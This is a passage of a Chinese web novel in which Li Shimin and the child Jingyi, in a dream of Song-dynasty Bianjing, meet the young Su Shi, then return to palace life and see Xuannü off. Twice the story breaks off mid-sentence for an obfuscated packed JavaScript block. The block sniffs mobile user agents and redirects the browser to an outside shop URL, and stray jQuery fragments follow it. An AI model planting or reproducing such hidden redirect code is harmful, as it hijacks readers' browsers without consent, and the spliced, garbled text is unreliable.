苏轼略一沉吟,清了清嗓子,学着说书先生的样子,摇头晃脑地吟道:“对酒当歌,人生几何!譬如朝露,去日苦多……”
他念得颇有韵味,带着一种慷慨又苍凉的味道。
景颐一听,眼睛“唰”地亮了,这不是梦里那个黑胡子爷爷念过的吗?他记得那个调子,记得那些“青青”、“呦呦”的句子,虽然意思不太懂,但特别好听!
“慨当以慷,忧思难忘。何以解忧?唯有杜康!”
景颐几乎是不假思索地接了下去,小脑袋还跟着记忆里的节奏一点一点,声音稚嫩,却意外地抓住了那股沉郁顿挫的气韵。
他背得不太连贯,中间偶尔磕巴,但调子是对的,尤其是最后“唯有杜康”四个字,竟隐约带出点曹操横槊时的豪迈余音。
苏轼原本带笑的眼睛里,惊讶之色一闪而过。他放下筷子,抚掌:“妙啊!小郎君竟能诵曹公《短歌行》?此诗慷慨深沉,非童子常习,是家中先生所授?”
景颐眨眨眼,有点不好意思地看向李世民。这诗是梦里听的,可梦里的事能说吗?师父好像不太让随便说。
李世民正执杯欲饮,见状微微一笑,替景颐解围:“他记性好,偶尔听人吟过,便记下了。” 语气平常,仿佛真是如此。
苏轼也不深究,只是看景颐的目光更多了几分惊奇和喜爱。
“好记性!当赏!”他将那盘金黄油亮的煿金煮玉推到景颐面前,笑道,“不只这盘菜,今日这汴京城,苏叔叔带你好好逛逛,看个够!”
景颐欢呼一声,立刻拿起筷子进攻那盘菜,吃得眉眼弯弯。
李世民看着苏轼与景颐的互动,眼中掠过一丝极淡的笑意。
这年轻人身上有种罕见的鲜活气,不矫饰,不迂腐,对孩童有天然的亲和与尊重,让他也感到放松。
自前些时日接连的梦境、景颐变身、玄女来访等事,心头那根弦一直绷着,此刻在这陌生的、热闹的汴京梦境里,面对一个全然不知他身份、只以“李官人”相称的有趣书生,久违的、属于秦王李世民的那份疏朗心性,似乎悄然松动了几分。
吃完饭,苏轼果然说话算话,领着他们一头扎进了汴京的繁华里。
先去看了水傀儡,机关精巧的木偶在水台上演戏,比皮影更灵动,景颐看得目不转睛,连连拍手。苏轼就在旁边,低声给景颐解说戏文,偶尔还模仿木偶动作,逗得景颐咯咯直笑。
李世民起初还端着些长辈和观察者的架子,但很快也被这鲜活的人间烟火吸引。他看到街边杂卖的妇人,面前摆着数十个不同的小盒,分别装着各色针线、纽扣、花钿、绒花,明码标价,任由挑选,效率极高。
“这倒比东西两市那零碎铺子还方便些。”他低声自语。
苏轼耳朵尖,凑过来笑道:“这叫细分市,专做小物件生意。汴京人多,需求杂,这么卖,买卖两便。李官人您瞧那边,”
他指向一个挂着“代写书信,兼售花笺”招牌的小摊,“不光代笔,还卖漂亮信纸,生意就好过单代笔的。这边人都琢磨这个,怎么把一样事做出点花样,多揽些主顾。”
李世民顺着望去,若有所思。这种深入市井肌理的商业智慧和灵活性,是宏大典制难以涵盖的生机。
行至一处宽阔场地,锣鼓喧天,里三层外三层围满了人。原来是相扑正在上演,两个袒胸露腹的壮汉扭作一团,肌肉贲张,吼声如雷,观众喝彩震天。
景颐个子小,急得直跳脚也看不见。苏轼哈哈一笑,竟弯腰一把将景颐举起来,让他骑在自己肩上:“扶稳喽!这就叫登高望远!”
视野豁然开朗,景颐兴奋地“哇”出声,紧紧抓住苏轼的幞头。
李世民在一旁,看着苏轼毫不费力地扛着景颐,随着场中比拼大呼小叫,全然不顾书生形象,那洒脱畅快的模样,让他也不禁莞尔。这让他想起年少时,与军中同袍也是如此不拘形迹,恣意欢笑。
“苏贤弟好臂力。”李世民笑道,语气轻松了许多。
“那是!”苏轼得意,随即又指着场中一个灵活躲闪的汉子,“李兄你看那人,看似瘦小,却擅用巧劲,以柔克刚,颇有古之刺客遗风!”
“哦?”李世民凝目细看,他本就是兵法大家,此刻以看战阵的眼光审视这市井相扑,竟也看出些门道,不由与苏轼讨论起来,何处是诱敌,何处是发力,说得头头是道。
两人一个博闻强识、引经据典,一个实战经验丰富、见解独到,竟越聊越投机,从相扑技法,聊到古今战例,又旁及地理风俗,全然忘了身是梦中客。
景颐骑在苏轼肩上,一会儿看下面摔跤,一会儿低头看谈兴正浓的两位叔叔,虽然听不太懂那些什么兵法、地势,但觉得李叔叔好像比平时更爱说话,眼睛也更亮了。
苏叔叔就更不用说了,眉飞色舞,有时候争得急了,差点把头上的景颐晃下来。
直到日头西斜,汴河上泛起粼粼金波,苏轼才哎呀一声,轻轻将景颐放下,揉了揉肩膀,脸上犹带未尽兴之色:“畅快!与李兄一席谈,胜读十年书!只可惜……”
他望了望天色,又看看远处隐约可见的巍峨宫墙方向,笑容淡了些,露出一丝混杂着期待与离愁的复杂神色。
“实不相瞒,李兄,景颐小友,”苏轼拱手,语气真诚,“再过两日,在下便要离京,赴凤翔府任签判了。舍弟子由,怕已等我回去收拾行囊,等得跳脚了。今日能与二位邂逅同游,实乃子瞻之幸,他日若有缘再会……”
他顿了顿,笑容重新明亮起来,带着他特有的旷达,“定当再备薄酒,与李兄论尽天下英雄,看遍汴京繁华!”
赴任凤翔?李世民虽不知眼前这年轻书生未来的命运如何,但“赴任”二字,已足够勾勒出一幅人生画卷展开的图景。
他亦郑重拱手:“苏贤弟前程似锦,一路珍重。”
“苏叔叔要走了吗?”景颐听懂了他话里的意思,有些不舍,拽了拽苏轼的袖子。
苏轼弯腰,捏了捏他的小脸蛋。
“凤翔也有好吃的。”他掰着手指数,“豆花泡馍、腊驴肉、臊子面。”
他顿了顿,笑得眉眼弯弯。
“小景颐若是有缘来凤翔,记得来找我,我带你吃遍全城。”
“嗯!”景颐用力点头。
苏轼直起身,最后看了一眼这落日余晖中的繁华汴京,那一眼,有留恋,有豪情,也有一丝年轻的、对未知前路的憧憬。然后,他不再多言,再次拱手,转身,汇入了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215230|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暮色中熙熙攘攘的人流。
他没有回头。
李世民和景颐站在原地,看着那道青衫身影在人群中渐行渐远,走过虹桥,走过河岸,最终消失在鳞次栉比的屋舍与袅袅升起的炊烟之后,再也看不见了。
汴京的灯火,一盏接一盏亮了起来。河上的画舫点起彩灯,酒楼的灯笼映红半条街,卖夜食的挑子吱呀呀走过,留下温暖的香气。
这座不夜城,并未因一个书生的离去而有丝毫改变,依旧喧腾着,鲜活着,流淌着无尽的人间烟火。
景颐仰头看着李世民。李叔叔没有说话,只是静静望着苏轼消失的方向,又缓缓环视这璀璨的夜景,目光深邃,仿佛要将这陌生又鲜活的文明图景,这奇妙的邂逅,这年轻生命奔赴前程的背影,都深深印入心底。
晚风带着河水与食物的气息吹来,梦境开始如水波般荡漾、模糊。虹桥、汴河、灯火、喧嚣……如同褪色的画卷,一点点淡去。
景颐是被脸颊上痒酥酥的感觉弄醒的。睁眼时,天光已大亮,甘露殿的晨风穿过窗棂,带着柳絮,轻飘飘地拂在脸上。
他迷迷糊糊坐起来,身上盖着李叔叔的薄毯。昨夜的记忆如潮水般涌回,虹桥、汴河、会仙楼、热闹的瓦子、有趣的苏叔叔,还有那场没有回头、消失在汴京灯火里的告别。
心里有一点点空落落的,像糖吃完后嘴里留下的那点甜丝丝的惆怅。
他下意识地摸了摸胸口。离别前,苏叔叔蹲下身,用不知从哪儿变出来的一张彩色笺纸,三折两叠,指尖翻飞,变戏法似的折出了一只胖墩墩、耳朵支棱的纸兔子,塞进他手里。
“小景颐,这个给你,这可是我苏轼独家的兔子,除了我家子由谁也没有!”苏轼当时笑得眉眼弯弯。
景颐连忙低头,在自己皱巴巴的衣襟里摸索,找到了!
小心地掏出来,那只原本神气活现的纸兔子,经过一夜酣睡,已经被压得扁扁的,一边耳朵耷拉下来,彩色的笺纸也起了毛边,显得可怜又可爱。
景颐没有失望,反而很珍惜地把它捧在手心,伸出小手,极其轻柔、一点点地将卷曲的纸边捋平,试图把塌下去的耳朵重新立起来。
他做得很认真,小脸几乎要贴到纸兔子上,深褐色的眼眸专注得发亮。
虽然它皱了,扁了,可它是苏叔叔给的,是从那个有会飞的船、会说话的糖画、和特别亮的灯火的梦里带回来的。
李世民批完晨起的第一拨急报,转头便看到这一幕。孩童低着头,全心全意对付着手中那团皱巴巴的彩纸,侧脸在晨光里显得异常柔软。他心中微软,放下朱笔。
“是什么宝贝,看得这样认真?”
景颐闻声抬头,献宝似的将勉强恢复些形状的纸兔子举高:“李叔叔看!苏叔叔给的兔子!从梦里带出来的!”
李世民接过,仔细端详。纸张是汴京常见的印花笺,质地普通,折法也简单,绝非宫中巧匠之作。但正是这份简单和来自梦境的真实,让它有了不同寻常的意义。
他仿佛能看到那个叫苏轼的年轻人,随手从袖中摸出张纸,带着笑意和离别时的那点温柔,为萍水相逢的孩子折出这个小玩意儿。
“嗯,是只精神兔子。”李世民评价道,将纸兔小心递回,“收好,莫再压着了。”
“嗯!”景颐用力点头,环顾四周,最终将纸兔端端正正地放在了御案一角,一个既不会碍事,抬眼又能看见的位置。那里,成了纸兔在长安的新家。
42.第 42 章
接下来的几天,汴京梦的后遗症开始在景颐身上显现。
他最念念不忘的,除了苏叔叔,就是虹桥下那个老伯画的糖麒麟。
“比颐儿画得像!”他这么认为。于是,凝云轩的庭院里,开始了一场轰轰烈烈的糖画运动。
没有糖稀,就用树枝蘸了清水,在青石板上画。丽质被他拉来当画糖师傅,李治是忠实观众兼品鉴官,李泰听说后,立刻宣布要当竞争对手,在另一边石板上画他自认为威风凛凛的糖龙。
“四兄!你的龙像胖蚯蚓长角了!”景颐指着李泰的“大作”咯咯直笑。
“你懂什么!这是蓄势待发!”李泰涨红了脸辩解,手上却不小心把龙尾巴画成了疙瘩。
丽质忍着笑,手腕轻转,用清水画出了一只翩然欲飞的蝴蝶,虽无糖色,却自有一股灵动。
李治拍着小手:“阿姊画得最好看!”
孩子们的笑闹声惊动了偶尔路过的宫人,大家也都见怪不怪,含笑绕过,不去打扰这小院的欢乐。
这股汴京风甚至还刮到了立政殿。某日午后,长孙皇后正与得了批准入世的玄女对弈双陆,景颐哒哒哒跑进来,手里捧着几个小小的、洗干净的空蚌壳。
“大姐姐,玄女姐姐,”他眼睛亮晶晶的,“我们玩分盏好不好?像汴州脚店那样!”
“分盏?”长孙皇后放下棋子,温和地问。
“就是把好吃的、好喝的,分到小盏里,每人一点点,可以尝到好多种!”景颐努力描述着从苏轼那里听来的、汴京食肆流行的分享方式。他记得苏叔叔说,这样既热闹,又不会浪费。
长孙皇后与玄女对视一眼,都看到对方眼中的笑意。
“好呀,”玄女率先响应,兴致勃勃,“我那还有半包从西市买来的椒盐杏仁,正好拿来分!”
于是,立政殿的玉案上,摆开了数个莹润的白玉小碟、掐丝珐琅小盅。尚食局刚进上的樱桃酪、新蒸的玉露团、玄女的椒盐杏仁、长孙皇后小厨房特制的梅花糕,都被细心分装成小份。
景颐负责分配,小脸严肃,力求公平,虽然他那套“谁年纪小谁多颗杏仁”的规则惹得李泰哇哇叫,却也热闹非凡。
李世民处理完政务过来时,看到的就是这副分盏宴的景象。孩子们叽叽喳喳,长孙皇后含笑看着,玄女正试图从李治的小盅里顺一颗杏仁,被眼尖的景颐抓个正着。
“二郎快来,”长孙皇后笑着招呼,“尝尝景颐分的樱桃酪,他说这是汴州吃法。”
李世民从善如流,拈起一小碟。甜酪入口冰凉细腻,看着孩子们因为分享而更显兴奋的笑脸,听着他们关于汴京游戏的各种童言稚语,他心中那点因苏轼离去、长琴未归而产生的些微空茫,似乎也被这满室的温馨踏实填满了。
他忽然对侍立一旁的王德低声吩咐了几句。王德领命而去,不久,内侍捧来一套崭新的、造型各异的精巧瓷盏,专为分盏之用。
“既是游戏,便该有合用的器具。”李世民笑道,眼睛映着晃动的烛火,目若朗星。
欢乐的日子过得飞快。转眼,玄女在宫中已住了小半月,终于在一个朝霞漫天的清晨,来向李世民和长孙皇后辞行。
“宫里虽好,也不能总赖着。”她伸了个懒腰,鬓边露珠在晨光中流转生辉,“好不容易批了个假,当然要四处转转。”
“玄女姐姐要走了吗?”景颐刚刚被丽质带来请安,闻言立刻跑过去,拽住她的袖子,满眼不舍。
玄女弯腰,捏了捏他的鼻尖:“是啊,姐姐要去玩啦!回来给你带好吃的!对了!”
她变戏法似的从袖中取出一片非金非玉、薄如蝉翼的青色叶子,叶子脉络清晰,隐隐有光华流动,“这个给你。”
“这是什么?”景颐好奇地接过,叶子触手微凉。
“你师父从东海捎来的口信。”玄女道,“他一时半会回不来,归墟那地方比想象中麻烦,不过,”她顿了顿,语气轻松了些,“他说《鸣岐谱》的线索已有些眉目,让你别担心,好好吃饭,别总闯祸。”
景颐睁大眼睛,捧着叶子:“师父……师父真的说话了?”
“你集中精神,轻轻摸一下叶脉中间试试?”玄女引导着他。
景颐依言,伸出小手指,小心翼翼地碰了碰叶子中心的脉络。
一缕极淡、极缥缈的琴音,仿佛从极其遥远的海底传来,透过叶片,轻轻响在景颐的心间。那不是成调的曲子,更像是一声带着疲惫、却依旧清越安心的叹息,尾音微微上扬,如同琴弦被最温柔的风拂过。
与此同时,景颐贴身佩戴的那枚长琴所赠的玉佩,忽然散发出一阵温润的暖意,贴着皮肤,并不烫,却异常清晰。
琴音只持续了短短一瞬,便消散了。叶子的光华也黯淡下去,变成一片普通的、好看的青叶。
景颐却愣住了,他摸了摸胸口温热的玉佩,又看看手中的叶子,深褐色的眼眸里慢慢涌上水光,嘴角却高高地翘了起来。
“师父……”他小声地、满足地嘟囔了一句,把叶子和玉佩一起,紧紧捂在心口。
李世民将这一切看在眼里,心中稍安。长琴无事,且有进展,便是最好的消息。他看向玄女,郑重颔首:“有劳玄女奔走传讯。”
玄女摆摆手:“客气。小景颐我挺喜欢,他师父又是个锯嘴葫芦,我不帮着点谁帮?”她说着,又冲长孙皇后眨眨眼,“双陆我还记着呢,下回定要赢你!”
长孙皇后温婉一笑:“随时恭候。”
玄女如来时一般洒脱,挥挥手,玄青身影便在晨光中淡去,仿佛化作了一缕带着露水清气的风,消失在重重宫阙之外。
凝云轩似乎一下子安静了许多,但那片能传来师父琴音的叶子和依旧温热的玉佩,成了景颐的宝贝。
他时不时就要摸一摸,感受那份遥远的联系,然后继续他充满汴京遗风的日常,比如在青石板上画糖画,组织分盏小宴,或者对着御案上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216451|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纸兔子说悄悄话。
李世民的生活也恢复了节奏,批阅奏章,召见大臣,过问春耕与边情。
只是偶尔,在看到案角那只彩色纸兔时,或听到孩子们玩闹中蹦出虹桥、相扑之类的词时,他的目光会变得悠远一瞬,仿佛又看到了那条奔腾的河,那座不夜的城,和那个消失在灯火尽头、奔赴前程的明亮背影。
日子,就这样在长安的春光里,平稳而温暖地向前流淌着。下一次梦境何时会来?是再次遇见那位狂客,还是其他意想不到的时空与人物?无人知晓。
暮春的夜,风里已带了暖意,裹着花香和宫中草木新发的清气,从甘露殿半开的轩窗溜进来,逗弄着烛火。
李世民批阅奏章的间隙,抬眼看向侧旁小榻。景颐又抱着那枚温凉的玉佩睡着了,蜷成小小一团,手里还虚虚握着那只被仔细压平、重新昂首的纸兔子,嘴角微微弯着,不知又梦见了什么好吃的。
这孩子近日睡得格外沉,大约是白日里玩闹得太疯。李世民摇摇头,唇角微扬,正欲收回目光,却见烛光倏地一摇。
不是风吹。
那火焰仿佛被无形的手捏住,向中心坍缩了一瞬,随即猛地向四周爆开一团柔和的金红色光晕。光晕并不刺眼,反而带着某种醇厚馥郁的香气,像是陈年美酒被骤然拍开了泥封,又像是百花在月下轰然绽放。
景颐在睡梦中轻轻抽了抽鼻子。
李世民心念微动,几乎是同时,感到一阵极轻微的晕眩,仿佛踏空了一步。他下意识地伸手,扶住御案边缘。
指尖触到的,不再是冰凉坚硬的紫檀木,而是粗糙、温热、带着木头纹理和常年被摩挲后包浆感的……栏杆?
他定了定神。
喧嚣声浪如盛夏的暴雨,劈头盖脸砸了下来。不同于汴京瓦子那种市井的热闹,这里的喧嚣更肆意,更酣畅,夹杂着丝竹管弦、纵情高歌、击节赞叹、杯盘碰撞,还有浓郁到化不开的酒香肉香。
他站在一座木楼的二楼廊边,凭栏下望。
楼下是开阔的中庭,此刻竟被改成了临时的宴会场所。数十张案几摆得歪歪斜斜,坐满了形形色色的人:有宽袍大袖、狂放不羁的文士,有粗豪健硕、坦胸露怀的武人,有抱着琵琶箜篌、巧笑倩兮的乐伎,甚至还有几个胡商打扮的,正操着生硬的官话与人拼酒。
人人面前杯盘狼藉,酒液泼洒得到处都是,烛火煌煌,映得一张张面孔红光满面。
中庭中央,甚至有人趁着酒兴,拔剑起舞,剑光霍霍,引来一片轰然叫好。
“这……这是何处?”李世民蹙眉,这混乱豪奢的场面,与他所知的任何宫廷或正式宴饮都迥然不同。
“李叔叔!”衣袖被轻轻拽动。李世民低头,景颐不知何时已站在他身边,正仰着小脸,眼睛瞪得溜圆,好奇地打量着这喧腾的景象。他手里还拿着那只纸兔子,在这梦境里,纸兔似乎也染上了些许鲜活气。
“我们……又做梦了?”